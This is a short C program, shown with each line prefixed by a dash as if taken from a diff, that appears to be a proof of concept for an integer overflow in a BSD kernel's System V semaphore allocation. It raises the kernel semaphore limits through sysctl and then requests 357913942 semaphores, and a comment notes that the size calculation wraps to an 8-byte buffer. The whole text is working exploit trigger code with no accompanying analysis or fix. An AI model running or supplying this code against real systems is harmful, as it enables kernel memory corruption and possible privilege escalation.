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- #include <stdio.h>
- #include <stdlib.h>
- #include <sys/types.h>
- #include <sys/ipc.h>
- #include <sys/sem.h>
- #include <sys/param.h>
- #include <sys/sysctl.h>
-
- int main(void){
- int sem, nsems, ret;
- int sys_name[3], old_semmns, semmns, old_semmsl, semmsl;
- size_t old_size;
-
- /*
- * 357913942 * 12 = 100000008 (rounds to 8), so the buffer is 8 bytes
- * long.
- */
-
- nsems = 357913942;
-
- /* set the max semaphores allowed so that nsems is valid */
-
- sys_name[0] = CTL_KERN;
- sys_name[1] = KERN_SEMINFO;
- sys_name[2] = KERN_SEMINFO_SEMMNS;
- old_size = sizeof(old_semmns);
-
- ret = sysctl(sys_name, 3, &old_semmns, &old_size, NULL, NULL);
-
- if(ret < 0){
- perror("sysctl(get semmns)");
- return 1;
- }
-
- semmns = old_semmns + nsems;
-
- ret = sysctl(sys_name, 3, &old_semmns, &old_size, &semmns,
- sizeof(semmns));
-
- if(ret < 0){
- perror("sysctl(semmns)");
- return 1;
- }
-
- sys_name[0] = CTL_KERN;
- sys_name[1] = KERN_SEMINFO;
- sys_name[2] = KERN_SEMINFO_SEMMSL;
- old_size = sizeof(old_semmsl);
-
- ret = sysctl(sys_name, 3, &old_semmsl, &old_size, NULL, NULL);
-
- if(ret < 0){
- perror("sysctl(get semmsl)");
- return 1;
- }
-
- semmsl = old_semmsl + nsems;
-
- ret = sysctl(sys_name, 3, &old_semmsl, &old_size, &semmsl,
- sizeof(semmsl));
-
- if(ret < 0){
- perror("sysctl(semmsl)");
- return 1;
- }
-
- sem = semget(IPC_PRIVATE, nsems, IPC_CREAT);
-
- if(sem < 0){
- perror("semget");
- return 1;
- }
-
- printf("Successfully got a semaphore\n");
- printf("id = %d\n", sem);
-
- return 0;
- }